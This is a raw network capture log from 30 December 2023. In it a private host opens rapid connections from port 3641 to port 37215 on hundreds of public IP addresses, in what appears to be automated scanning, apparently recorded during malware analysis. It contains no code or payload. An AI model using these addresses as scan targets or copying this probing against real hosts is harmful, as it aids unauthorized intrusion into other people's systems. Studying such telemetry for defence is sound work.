Dec 30, 2023 07:13:56.687527895 CET	37215	3641	121.173.23.88	192.168.2.23
Dec 30, 2023 07:13:56.701919079 CET	37215	3641	197.7.141.175	192.168.2.23
Dec 30, 2023 07:13:56.704006910 CET	37215	3641	154.85.141.65	192.168.2.23
Dec 30, 2023 07:13:56.737042904 CET	37215	3641	120.246.14.1	192.168.2.23
Dec 30, 2023 07:13:56.741962910 CET	37215	3641	41.203.245.34	192.168.2.23
Dec 30, 2023 07:13:56.771637917 CET	37215	3641	197.232.36.63	192.168.2.23
Dec 30, 2023 07:13:56.793436050 CET	37215	3641	41.23.97.241	192.168.2.23
Dec 30, 2023 07:13:56.873033047 CET	57834	37215	192.168.2.23	45.138.70.146
Dec 30, 2023 07:13:57.160990953 CET	57838	37215	192.168.2.23	45.138.70.146
Dec 30, 2023 07:13:57.352977991 CET	57834	37215	192.168.2.23	45.138.70.146
Dec 30, 2023 07:13:57.384972095 CET	59202	37215	192.168.2.23	156.73.3.241
Dec 30, 2023 07:13:57.416959047 CET	40210	37215	192.168.2.23	156.73.108.236
Dec 30, 2023 07:13:57.449615955 CET	37215	3641	197.7.49.52	192.168.2.23
Dec 30, 2023 07:13:57.538022041 CET	37215	3641	196.88.162.222	192.168.2.23
Dec 30, 2023 07:13:57.640927076 CET	57838	37215	192.168.2.23	45.138.70.146
Dec 30, 2023 07:13:57.684977055 CET	3641	37215	192.168.2.23	41.219.20.228
Dec 30, 2023 07:13:57.684992075 CET	3641	37215	192.168.2.23	41.247.167.41
Dec 30, 2023 07:13:57.684993029 CET	3641	37215	192.168.2.23	41.140.236.110
Dec 30, 2023 07:13:57.684995890 CET	3641	37215	192.168.2.23	156.193.124.141
Dec 30, 2023 07:13:57.684997082 CET	3641	37215	192.168.2.23	41.154.25.219
Dec 30, 2023 07:13:57.685008049 CET	3641	37215	192.168.2.23	92.111.22.226
Dec 30, 2023 07:13:57.685008049 CET	3641	37215	192.168.2.23	41.41.72.33
Dec 30, 2023 07:13:57.685010910 CET	3641	37215	192.168.2.23	222.92.221.118
Dec 30, 2023 07:13:57.685010910 CET	3641	37215	192.168.2.23	41.189.3.74
Dec 30, 2023 07:13:57.685010910 CET	3641	37215	192.168.2.23	41.238.94.195
Dec 30, 2023 07:13:57.685012102 CET	3641	37215	192.168.2.23	41.50.155.236
Dec 30, 2023 07:13:57.685030937 CET	3641	37215	192.168.2.23	156.171.72.91
Dec 30, 2023 07:13:57.685030937 CET	3641	37215	192.168.2.23	156.212.122.7
Dec 30, 2023 07:13:57.685033083 CET	3641	37215	192.168.2.23	156.238.241.14
Dec 30, 2023 07:13:57.685033083 CET	3641	37215	192.168.2.23	197.159.238.73
Dec 30, 2023 07:13:57.685034990 CET	3641	37215	192.168.2.23	156.97.117.246
Dec 30, 2023 07:13:57.685035944 CET	3641	37215	192.168.2.23	41.109.50.125
Dec 30, 2023 07:13:57.685034990 CET	3641	37215	192.168.2.23	197.158.43.118
Dec 30, 2023 07:13:57.685035944 CET	3641	37215	192.168.2.23	41.10.195.169
Dec 30, 2023 07:13:57.685035944 CET	3641	37215	192.168.2.23	156.129.95.246
Dec 30, 2023 07:13:57.685035944 CET	3641	37215	192.168.2.23	156.227.158.172
Dec 30, 2023 07:13:57.685035944 CET	3641	37215	192.168.2.23	156.135.233.240
Dec 30, 2023 07:13:57.685050964 CET	3641	37215	192.168.2.23	197.0.246.54
Dec 30, 2023 07:13:57.685050964 CET	3641	37215	192.168.2.23	41.198.183.191
Dec 30, 2023 07:13:57.685050964 CET	3641	37215	192.168.2.23	41.55.139.127
Dec 30, 2023 07:13:57.685050964 CET	3641	37215	192.168.2.23	138.221.228.126
Dec 30, 2023 07:13:57.685051918 CET	3641	37215	192.168.2.23	156.182.211.93
Dec 30, 2023 07:13:57.685050964 CET	3641	37215	192.168.2.23	37.138.122.236
Dec 30, 2023 07:13:57.685050964 CET	3641	37215	192.168.2.23	160.74.194.12
Dec 30, 2023 07:13:57.685050964 CET	3641	37215	192.168.2.23	156.21.239.130
Dec 30, 2023 07:13:57.685055971 CET	3641	37215	192.168.2.23	186.126.219.243
Dec 30, 2023 07:13:57.685084105 CET	3641	37215	192.168.2.23	41.101.166.79
Dec 30, 2023 07:13:57.685084105 CET	3641	37215	192.168.2.23	157.189.242.57
Dec 30, 2023 07:13:57.685085058 CET	3641	37215	192.168.2.23	197.36.62.187
Dec 30, 2023 07:13:57.685085058 CET	3641	37215	192.168.2.23	41.100.230.176
Dec 30, 2023 07:13:57.685086012 CET	3641	37215	192.168.2.23	197.160.50.98
Dec 30, 2023 07:13:57.685085058 CET	3641	37215	192.168.2.23	156.110.209.214
Dec 30, 2023 07:13:57.685086012 CET	3641	37215	192.168.2.23	181.143.155.148
Dec 30, 2023 07:13:57.685085058 CET	3641	37215	192.168.2.23	41.170.41.51
Dec 30, 2023 07:13:57.685089111 CET	3641	37215	192.168.2.23	197.173.20.2
Dec 30, 2023 07:13:57.685086012 CET	3641	37215	192.168.2.23	41.161.74.77
Dec 30, 2023 07:13:57.685089111 CET	3641	37215	192.168.2.23	160.22.98.92
Dec 30, 2023 07:13:57.685086012 CET	3641	37215	192.168.2.23	190.217.165.99
Dec 30, 2023 07:13:57.685089111 CET	3641	37215	192.168.2.23	41.10.166.38
Dec 30, 2023 07:13:57.685091019 CET	3641	37215	192.168.2.23	41.246.79.112
Dec 30, 2023 07:13:57.685089111 CET	3641	37215	192.168.2.23	41.241.148.135
Dec 30, 2023 07:13:57.685085058 CET	3641	37215	192.168.2.23	107.20.154.237
Dec 30, 2023 07:13:57.685089111 CET	3641	37215	192.168.2.23	156.8.148.62
Dec 30, 2023 07:13:57.685089111 CET	3641	37215	192.168.2.23	120.2.56.171
Dec 30, 2023 07:13:57.685091019 CET	3641	37215	192.168.2.23	156.110.60.52
Dec 30, 2023 07:13:57.685121059 CET	3641	37215	192.168.2.23	222.135.27.122
Dec 30, 2023 07:13:57.685121059 CET	3641	37215	192.168.2.23	156.208.96.166
Dec 30, 2023 07:13:57.685122967 CET	3641	37215	192.168.2.23	197.48.84.142
Dec 30, 2023 07:13:57.685121059 CET	3641	37215	192.168.2.23	41.192.59.23
Dec 30, 2023 07:13:57.685125113 CET	3641	37215	192.168.2.23	156.5.129.75
Dec 30, 2023 07:13:57.685121059 CET	3641	37215	192.168.2.23	102.180.10.51
Dec 30, 2023 07:13:57.685127974 CET	3641	37215	192.168.2.23	156.106.99.19
Dec 30, 2023 07:13:57.685121059 CET	3641	37215	192.168.2.23	41.148.199.82
Dec 30, 2023 07:13:57.685127974 CET	3641	37215	192.168.2.23	197.251.195.130
Dec 30, 2023 07:13:57.685125113 CET	3641	37215	192.168.2.23	95.21.227.44
Dec 30, 2023 07:13:57.685122967 CET	3641	37215	192.168.2.23	222.221.59.248
Dec 30, 2023 07:13:57.685125113 CET	3641	37215	192.168.2.23	41.109.242.224
Dec 30, 2023 07:13:57.685127974 CET	3641	37215	192.168.2.23	156.188.233.12
Dec 30, 2023 07:13:57.685125113 CET	3641	37215	192.168.2.23	37.73.121.108
Dec 30, 2023 07:13:57.685131073 CET	3641	37215	192.168.2.23	94.225.210.85
Dec 30, 2023 07:13:57.685125113 CET	3641	37215	192.168.2.23	95.189.119.242
Dec 30, 2023 07:13:57.685122013 CET	3641	37215	192.168.2.23	154.113.194.132
Dec 30, 2023 07:13:57.685131073 CET	3641	37215	192.168.2.23	156.135.163.91
Dec 30, 2023 07:13:57.685122013 CET	3641	37215	192.168.2.23	160.84.246.200
Dec 30, 2023 07:13:57.685131073 CET	3641	37215	192.168.2.23	156.87.127.81
Dec 30, 2023 07:13:57.685144901 CET	3641	37215	192.168.2.23	94.28.38.57
Dec 30, 2023 07:13:57.685146093 CET	3641	37215	192.168.2.23	41.121.124.214
Dec 30, 2023 07:13:57.685146093 CET	3641	37215	192.168.2.23	107.187.165.29
Dec 30, 2023 07:13:57.685149908 CET	3641	37215	192.168.2.23	156.69.213.99
Dec 30, 2023 07:13:57.685149908 CET	3641	37215	192.168.2.23	41.161.7.3
Dec 30, 2023 07:13:57.685156107 CET	3641	37215	192.168.2.23	156.3.94.1
Dec 30, 2023 07:13:57.685156107 CET	3641	37215	192.168.2.23	45.160.106.187
Dec 30, 2023 07:13:57.685162067 CET	3641	37215	192.168.2.23	41.213.137.165
Dec 30, 2023 07:13:57.685162067 CET	3641	37215	192.168.2.23	156.34.24.135
Dec 30, 2023 07:13:57.685163021 CET	3641	37215	192.168.2.23	138.89.186.27
Dec 30, 2023 07:13:57.685163021 CET	3641	37215	192.168.2.23	138.215.211.174
Dec 30, 2023 07:13:57.685163021 CET	3641	37215	192.168.2.23	197.21.238.74
Dec 30, 2023 07:13:57.685163021 CET	3641	37215	192.168.2.23	160.27.250.231
Dec 30, 2023 07:13:57.685163021 CET	3641	37215	192.168.2.23	41.210.42.94
Dec 30, 2023 07:13:57.685163021 CET	3641	37215	192.168.2.23	154.190.244.43
Dec 30, 2023 07:13:57.685163021 CET	3641	37215	192.168.2.23	102.21.110.187
Dec 30, 2023 07:13:57.685179949 CET	3641	37215	192.168.2.23	41.60.138.2
Dec 30, 2023 07:13:57.685183048 CET	3641	37215	192.168.2.23	41.230.169.208
Dec 30, 2023 07:13:57.685183048 CET	3641	37215	192.168.2.23	156.81.243.41
Dec 30, 2023 07:13:57.685184956 CET	3641	37215	192.168.2.23	156.80.67.5
Dec 30, 2023 07:13:57.685187101 CET	3641	37215	192.168.2.23	92.124.132.218
Dec 30, 2023 07:13:57.685188055 CET	3641	37215	192.168.2.23	197.202.96.221
Dec 30, 2023 07:13:57.685187101 CET	3641	37215	192.168.2.23	41.27.8.228
Dec 30, 2023 07:13:57.685184002 CET	3641	37215	192.168.2.23	41.202.197.94
Dec 30, 2023 07:13:57.685188055 CET	3641	37215	192.168.2.23	41.156.179.45
Dec 30, 2023 07:13:57.685184956 CET	3641	37215	192.168.2.23	196.104.211.17
Dec 30, 2023 07:13:57.685187101 CET	3641	37215	192.168.2.23	41.81.181.127
Dec 30, 2023 07:13:57.685185909 CET	3641	37215	192.168.2.23	157.53.36.56
Dec 30, 2023 07:13:57.685187101 CET	3641	37215	192.168.2.23	156.119.215.165
Dec 30, 2023 07:13:57.685184002 CET	3641	37215	192.168.2.23	222.28.73.96
Dec 30, 2023 07:13:57.685185909 CET	3641	37215	192.168.2.23	156.192.252.208
Dec 30, 2023 07:13:57.685184002 CET	3641	37215	192.168.2.23	222.131.243.254
Dec 30, 2023 07:13:57.685185909 CET	3641	37215	192.168.2.23	197.19.205.96
Dec 30, 2023 07:13:57.685187101 CET	3641	37215	192.168.2.23	156.40.122.111
Dec 30, 2023 07:13:57.685187101 CET	3641	37215	192.168.2.23	41.239.82.80
Dec 30, 2023 07:13:57.685184002 CET	3641	37215	192.168.2.23	41.158.157.80
Dec 30, 2023 07:13:57.685195923 CET	3641	37215	192.168.2.23	92.125.87.115
Dec 30, 2023 07:13:57.685187101 CET	3641	37215	192.168.2.23	156.174.233.69
Dec 30, 2023 07:13:57.685195923 CET	3641	37215	192.168.2.23	156.124.10.30
Dec 30, 2023 07:13:57.685195923 CET	3641	37215	192.168.2.23	41.227.234.138
Dec 30, 2023 07:13:57.685187101 CET	3641	37215	192.168.2.23	197.12.70.42
Dec 30, 2023 07:13:57.685214996 CET	3641	37215	192.168.2.23	156.18.175.199
Dec 30, 2023 07:13:57.685214996 CET	3641	37215	192.168.2.23	157.41.1.125
Dec 30, 2023 07:13:57.685214996 CET	3641	37215	192.168.2.23	41.61.36.101
Dec 30, 2023 07:13:57.685215950 CET	3641	37215	192.168.2.23	190.179.91.107
Dec 30, 2023 07:13:57.685216904 CET	3641	37215	192.168.2.23	156.252.171.149
Dec 30, 2023 07:13:57.685216904 CET	3641	37215	192.168.2.23	197.229.121.49
Dec 30, 2023 07:13:57.685216904 CET	3641	37215	192.168.2.23	197.197.250.196
Dec 30, 2023 07:13:57.685220957 CET	3641	37215	192.168.2.23	156.166.182.6
Dec 30, 2023 07:13:57.685221910 CET	3641	37215	192.168.2.23	197.47.250.140
Dec 30, 2023 07:13:57.685221910 CET	3641	37215	192.168.2.23	156.53.36.126
Dec 30, 2023 07:13:57.685221910 CET	3641	37215	192.168.2.23	222.210.14.9
Dec 30, 2023 07:13:57.685221910 CET	3641	37215	192.168.2.23	37.78.99.126
Dec 30, 2023 07:13:57.685224056 CET	3641	37215	192.168.2.23	197.234.146.129
Dec 30, 2023 07:13:57.685224056 CET	3641	37215	192.168.2.23	157.46.254.122
Dec 30, 2023 07:13:57.685250044 CET	3641	37215	192.168.2.23	107.148.175.73
Dec 30, 2023 07:13:57.685250044 CET	3641	37215	192.168.2.23	41.246.39.233
Dec 30, 2023 07:13:57.685250044 CET	3641	37215	192.168.2.23	196.218.148.209
Dec 30, 2023 07:13:57.685251951 CET	3641	37215	192.168.2.23	157.154.38.125
Dec 30, 2023 07:13:57.685251951 CET	3641	37215	192.168.2.23	92.115.134.226
Dec 30, 2023 07:13:57.685252905 CET	3641	37215	192.168.2.23	197.230.78.9
Dec 30, 2023 07:13:57.685251951 CET	3641	37215	192.168.2.23	156.247.78.240
Dec 30, 2023 07:13:57.685252905 CET	3641	37215	192.168.2.23	92.233.12.27
Dec 30, 2023 07:13:57.685251951 CET	3641	37215	192.168.2.23	156.65.95.96
Dec 30, 2023 07:13:57.685252905 CET	3641	37215	192.168.2.23	41.143.226.106
Dec 30, 2023 07:13:57.685251951 CET	3641	37215	192.168.2.23	41.192.138.119
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	156.16.48.220
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	94.77.57.194
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	197.153.157.109
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	41.226.114.12
Dec 30, 2023 07:13:57.685256958 CET	3641	37215	192.168.2.23	156.230.89.18
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	197.51.66.205
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	41.163.95.23
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	156.59.99.10
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	197.96.170.235
Dec 30, 2023 07:13:57.685255051 CET	3641	37215	192.168.2.23	102.165.154.148
Dec 30, 2023 07:13:57.685276985 CET	3641	37215	192.168.2.23	156.168.126.16
Dec 30, 2023 07:13:57.685276985 CET	3641	37215	192.168.2.23	156.78.13.22
Dec 30, 2023 07:13:57.685276985 CET	3641	37215	192.168.2.23	197.175.206.63
Dec 30, 2023 07:13:57.685276985 CET	3641	37215	192.168.2.23	156.99.129.2
Dec 30, 2023 07:13:57.685276985 CET	3641	37215	192.168.2.23	197.114.241.185
Dec 30, 2023 07:13:57.685276985 CET	3641	37215	192.168.2.23	156.112.27.54
Dec 30, 2023 07:13:57.685277939 CET	3641	37215	192.168.2.23	197.163.208.121
Dec 30, 2023 07:13:57.685277939 CET	3641	37215	192.168.2.23	94.192.178.237
Dec 30, 2023 07:13:57.685283899 CET	3641	37215	192.168.2.23	186.169.13.191
Dec 30, 2023 07:13:57.685285091 CET	3641	37215	192.168.2.23	156.214.179.106
Dec 30, 2023 07:13:57.685286045 CET	3641	37215	192.168.2.23	138.76.47.229
Dec 30, 2023 07:13:57.685286999 CET	3641	37215	192.168.2.23	41.195.91.225
Dec 30, 2023 07:13:57.685288906 CET	3641	37215	192.168.2.23	122.206.186.106
Dec 30, 2023 07:13:57.685288906 CET	3641	37215	192.168.2.23	154.212.48.65
Dec 30, 2023 07:13:57.685288906 CET	3641	37215	192.168.2.23	45.41.120.140
Dec 30, 2023 07:13:57.685288906 CET	3641	37215	192.168.2.23	41.255.167.55
Dec 30, 2023 07:13:57.685290098 CET	3641	37215	192.168.2.23	156.100.96.29
Dec 30, 2023 07:13:57.685291052 CET	3641	37215	192.168.2.23	37.129.32.96
Dec 30, 2023 07:13:57.685290098 CET	3641	37215	192.168.2.23	102.181.215.166
Dec 30, 2023 07:13:57.685291052 CET	3641	37215	192.168.2.23	41.18.59.61
Dec 30, 2023 07:13:57.685290098 CET	3641	37215	192.168.2.23	156.182.63.197
Dec 30, 2023 07:13:57.685291052 CET	3641	37215	192.168.2.23	197.133.249.2
Dec 30, 2023 07:13:57.685291052 CET	3641	37215	192.168.2.23	156.104.71.231
Dec 30, 2023 07:13:57.685291052 CET	3641	37215	192.168.2.23	160.138.184.187
Dec 30, 2023 07:13:57.685298920 CET	3641	37215	192.168.2.23	197.22.29.186
Dec 30, 2023 07:13:57.685326099 CET	3641	37215	192.168.2.23	156.228.176.209
Dec 30, 2023 07:13:57.685326099 CET	3641	37215	192.168.2.23	156.233.43.63
Dec 30, 2023 07:13:57.685326099 CET	3641	37215	192.168.2.23	197.69.198.93
Dec 30, 2023 07:13:57.685326099 CET	3641	37215	192.168.2.23	156.154.163.229
Dec 30, 2023 07:13:57.685328007 CET	3641	37215	192.168.2.23	197.182.195.86
Dec 30, 2023 07:13:57.685328007 CET	3641	37215	192.168.2.23	156.177.192.202
Dec 30, 2023 07:13:57.685328007 CET	3641	37215	192.168.2.23	197.190.69.90
Dec 30, 2023 07:13:57.685328007 CET	3641	37215	192.168.2.23	156.135.128.232
Dec 30, 2023 07:13:57.685331106 CET	3641	37215	192.168.2.23	41.6.127.56
Dec 30, 2023 07:13:57.685331106 CET	3641	37215	192.168.2.23	197.85.61.101
Dec 30, 2023 07:13:57.685331106 CET	3641	37215	192.168.2.23	156.66.187.157
Dec 30, 2023 07:13:57.685331106 CET	3641	37215	192.168.2.23	197.226.99.230
Dec 30, 2023 07:13:57.685331106 CET	3641	37215	192.168.2.23	122.116.102.12
Dec 30, 2023 07:13:57.685336113 CET	3641	37215	192.168.2.23	37.97.129.74
Dec 30, 2023 07:13:57.685337067 CET	3641	37215	192.168.2.23	41.250.252.158
Dec 30, 2023 07:13:57.685337067 CET	3641	37215	192.168.2.23	196.32.229.235
Dec 30, 2023 07:13:57.685337067 CET	3641	37215	192.168.2.23	156.14.110.51
Dec 30, 2023 07:13:57.685337067 CET	3641	37215	192.168.2.23	156.161.122.213
Dec 30, 2023 07:13:57.685339928 CET	3641	37215	192.168.2.23	157.186.231.53
Dec 30, 2023 07:13:57.685339928 CET	3641	37215	192.168.2.23	41.207.238.62
Dec 30, 2023 07:13:57.685339928 CET	3641	37215	192.168.2.23	122.198.54.204
Dec 30, 2023 07:13:57.685369968 CET	3641	37215	192.168.2.23	138.28.157.51
Dec 30, 2023 07:13:57.685369968 CET	3641	37215	192.168.2.23	41.154.117.20
Dec 30, 2023 07:13:57.685369968 CET	3641	37215	192.168.2.23	160.207.42.39
Dec 30, 2023 07:13:57.685369968 CET	3641	37215	192.168.2.23	41.1.85.67
Dec 30, 2023 07:13:57.685369968 CET	3641	37215	192.168.2.23	197.178.235.58
Dec 30, 2023 07:13:57.685369968 CET	3641	37215	192.168.2.23	222.174.39.20
Dec 30, 2023 07:13:57.685369968 CET	3641	37215	192.168.2.23	156.28.188.52
Dec 30, 2023 07:13:57.685374022 CET	3641	37215	192.168.2.23	156.91.153.56
Dec 30, 2023 07:13:57.685374022 CET	3641	37215	192.168.2.23	41.103.95.61
Dec 30, 2023 07:13:57.685378075 CET	3641	37215	192.168.2.23	156.63.21.132
Dec 30, 2023 07:13:57.685378075 CET	3641	37215	192.168.2.23	156.187.45.14
Dec 30, 2023 07:13:57.685378075 CET	3641	37215	192.168.2.23	157.93.119.63
Dec 30, 2023 07:13:57.685378075 CET	3641	37215	192.168.2.23	41.198.93.114
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	156.241.25.115
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	181.123.72.33
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	197.77.171.179
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	120.98.25.56
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	156.156.155.13
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	197.140.138.11
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	156.151.47.209
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	156.162.117.185
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	121.243.254.232
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	41.191.95.230
Dec 30, 2023 07:13:57.685379982 CET	3641	37215	192.168.2.23	41.206.46.161
Dec 30, 2023 07:13:57.685384989 CET	3641	37215	192.168.2.23	197.33.138.188
Dec 30, 2023 07:13:57.685384989 CET	3641	37215	192.168.2.23	156.234.133.3
Dec 30, 2023 07:13:57.685384989 CET	3641	37215	192.168.2.23	41.246.203.203
Dec 30, 2023 07:13:57.685384989 CET	3641	37215	192.168.2.23	41.89.68.110
Dec 30, 2023 07:13:57.685386896 CET	3641	37215	192.168.2.23	41.180.40.47
Dec 30, 2023 07:13:57.685384989 CET	3641	37215	192.168.2.23	156.245.194.113
Dec 30, 2023 07:13:57.685386896 CET	3641	37215	192.168.2.23	121.137.18.252
Dec 30, 2023 07:13:57.685386896 CET	3641	37215	192.168.2.23	197.148.180.79
Dec 30, 2023 07:13:57.685386896 CET	3641	37215	192.168.2.23	197.238.138.153
Dec 30, 2023 07:13:57.685386896 CET	3641	37215	192.168.2.23	197.191.12.51
Dec 30, 2023 07:13:57.685420036 CET	3641	37215	192.168.2.23	197.98.195.37
Dec 30, 2023 07:13:57.685420036 CET	3641	37215	192.168.2.23	41.105.112.192
Dec 30, 2023 07:13:57.685420990 CET	3641	37215	192.168.2.23	197.92.81.111
Dec 30, 2023 07:13:57.685420990 CET	3641	37215	192.168.2.23	197.159.108.30
Dec 30, 2023 07:13:57.685420990 CET	3641	37215	192.168.2.23	107.238.147.112
Dec 30, 2023 07:13:57.685420990 CET	3641	37215	192.168.2.23	156.171.100.23
Dec 30, 2023 07:13:57.685420990 CET	3641	37215	192.168.2.23	197.31.153.122
Dec 30, 2023 07:13:57.685434103 CET	3641	37215	192.168.2.23	41.122.150.219
Dec 30, 2023 07:13:57.685434103 CET	3641	37215	192.168.2.23	94.151.221.52
Dec 30, 2023 07:13:57.685434103 CET	3641	37215	192.168.2.23	41.177.228.170
Dec 30, 2023 07:13:57.685434103 CET	3641	37215	192.168.2.23	186.234.55.155
Dec 30, 2023 07:13:57.685436010 CET	3641	37215	192.168.2.23	121.10.22.104
Dec 30, 2023 07:13:57.685434103 CET	3641	37215	192.168.2.23	197.253.221.167
Dec 30, 2023 07:13:57.685436010 CET	3641	37215	192.168.2.23	156.203.229.24
Dec 30, 2023 07:13:57.685434103 CET	3641	37215	192.168.2.23	156.41.12.154
Dec 30, 2023 07:13:57.685436964 CET	3641	37215	192.168.2.23	197.237.134.58
Dec 30, 2023 07:13:57.685434103 CET	3641	37215	192.168.2.23	156.79.111.25
Dec 30, 2023 07:13:57.685436010 CET	3641	37215	192.168.2.23	156.93.233.102
Dec 30, 2023 07:13:57.685436010 CET	3641	37215	192.168.2.23	197.179.226.208
Dec 30, 2023 07:13:57.685436010 CET	3641	37215	192.168.2.23	197.65.163.146
Dec 30, 2023 07:13:57.685436010 CET	3641	37215	192.168.2.23	156.8.31.238
Dec 30, 2023 07:13:57.685445070 CET	3641	37215	192.168.2.23	197.0.28.178
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	121.15.107.160
Dec 30, 2023 07:13:57.685445070 CET	3641	37215	192.168.2.23	156.252.19.156
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	197.162.174.170
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	222.254.195.132
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	41.43.5.17
Dec 30, 2023 07:13:57.685446978 CET	3641	37215	192.168.2.23	197.85.24.54
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	197.231.48.244
Dec 30, 2023 07:13:57.685446978 CET	3641	37215	192.168.2.23	121.126.119.26
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	102.177.180.154
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	41.208.165.250
Dec 30, 2023 07:13:57.685446978 CET	3641	37215	192.168.2.23	197.236.195.203
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	41.66.211.195
Dec 30, 2023 07:13:57.685446024 CET	3641	37215	192.168.2.23	41.55.107.115
Dec 30, 2023 07:13:57.685467005 CET	3641	37215	192.168.2.23	156.198.110.240
Dec 30, 2023 07:13:57.685467005 CET	3641	37215	192.168.2.23	138.117.41.194
Dec 30, 2023 07:13:57.685467005 CET	3641	37215	192.168.2.23	41.94.190.77
Dec 30, 2023 07:13:57.685467005 CET	3641	37215	192.168.2.23	94.93.114.108
Dec 30, 2023 07:13:57.685467005 CET	3641	37215	192.168.2.23	197.99.106.245
Dec 30, 2023 07:13:57.685467958 CET	3641	37215	192.168.2.23	95.149.76.119
Dec 30, 2023 07:13:57.685497046 CET	3641	37215	192.168.2.23	156.252.107.239
Dec 30, 2023 07:13:57.685497046 CET	3641	37215	192.168.2.23	121.54.7.51
Dec 30, 2023 07:13:57.685497046 CET	3641	37215	192.168.2.23	122.28.209.15
Dec 30, 2023 07:13:57.685497046 CET	3641	37215	192.168.2.23	156.111.4.37
Dec 30, 2023 07:13:57.685497046 CET	3641	37215	192.168.2.23	37.124.5.20
Dec 30, 2023 07:13:57.685497046 CET	3641	37215	192.168.2.23	156.58.233.134
Dec 30, 2023 07:13:57.685502052 CET	3641	37215	192.168.2.23	92.51.106.29
Dec 30, 2023 07:13:57.685502052 CET	3641	37215	192.168.2.23	156.206.230.154
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	156.57.162.104
Dec 30, 2023 07:13:57.685502052 CET	3641	37215	192.168.2.23	156.83.194.209
Dec 30, 2023 07:13:57.685504913 CET	3641	37215	192.168.2.23	197.77.124.130
Dec 30, 2023 07:13:57.685502052 CET	3641	37215	192.168.2.23	41.74.145.73
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	157.65.146.143
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	41.62.245.178
Dec 30, 2023 07:13:57.685504913 CET	3641	37215	192.168.2.23	122.120.250.192
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	197.238.22.99
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	197.79.1.32
Dec 30, 2023 07:13:57.685504913 CET	3641	37215	192.168.2.23	95.95.130.12
Dec 30, 2023 07:13:57.685508966 CET	3641	37215	192.168.2.23	156.198.132.245
Dec 30, 2023 07:13:57.685504913 CET	3641	37215	192.168.2.23	197.134.2.97
Dec 30, 2023 07:13:57.685508966 CET	3641	37215	192.168.2.23	157.80.25.173
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	197.90.117.165
Dec 30, 2023 07:13:57.685508966 CET	3641	37215	192.168.2.23	197.125.157.131
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	41.152.119.81
Dec 30, 2023 07:13:57.685508966 CET	3641	37215	192.168.2.23	156.129.80.28
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	197.64.84.38
Dec 30, 2023 07:13:57.685508966 CET	3641	37215	192.168.2.23	45.128.248.100
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	41.83.76.42
Dec 30, 2023 07:13:57.685508966 CET	3641	37215	192.168.2.23	156.140.0.137
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	197.129.81.75
Dec 30, 2023 07:13:57.685503006 CET	3641	37215	192.168.2.23	197.88.204.185
Dec 30, 2023 07:13:57.685554028 CET	3641	37215	192.168.2.23	197.56.38.92
Dec 30, 2023 07:13:57.685554981 CET	3641	37215	192.168.2.23	197.118.8.236
Dec 30, 2023 07:13:57.685554981 CET	3641	37215	192.168.2.23	95.249.92.87
Dec 30, 2023 07:13:57.685554981 CET	3641	37215	192.168.2.23	94.127.212.8
Dec 30, 2023 07:13:57.685555935 CET	3641	37215	192.168.2.23	41.139.154.80
Dec 30, 2023 07:13:57.685555935 CET	3641	37215	192.168.2.23	197.36.210.136
Dec 30, 2023 07:13:57.685555935 CET	3641	37215	192.168.2.23	41.145.40.159
Dec 30, 2023 07:13:57.685555935 CET	3641	37215	192.168.2.23	156.70.53.199
Dec 30, 2023 07:13:57.685560942 CET	3641	37215	192.168.2.23	156.200.173.184
Dec 30, 2023 07:13:57.685560942 CET	3641	37215	192.168.2.23	156.174.243.183
Dec 30, 2023 07:13:57.685560942 CET	3641	37215	192.168.2.23	197.76.218.77
Dec 30, 2023 07:13:57.685560942 CET	3641	37215	192.168.2.23	107.86.113.23
Dec 30, 2023 07:13:57.685560942 CET	3641	37215	192.168.2.23	41.236.36.159
Dec 30, 2023 07:13:57.685564041 CET	3641	37215	192.168.2.23	41.152.140.145
Dec 30, 2023 07:13:57.685564041 CET	3641	37215	192.168.2.23	41.228.180.177
Dec 30, 2023 07:13:57.685564041 CET	3641	37215	192.168.2.23	197.208.73.241
Dec 30, 2023 07:13:57.685564041 CET	3641	37215	192.168.2.23	156.236.228.101
Dec 30, 2023 07:13:57.685564041 CET	3641	37215	192.168.2.23	138.5.254.87
Dec 30, 2023 07:13:57.685564995 CET	3641	37215	192.168.2.23	156.85.114.167
Dec 30, 2023 07:13:57.685564995 CET	3641	37215	192.168.2.23	156.93.78.250
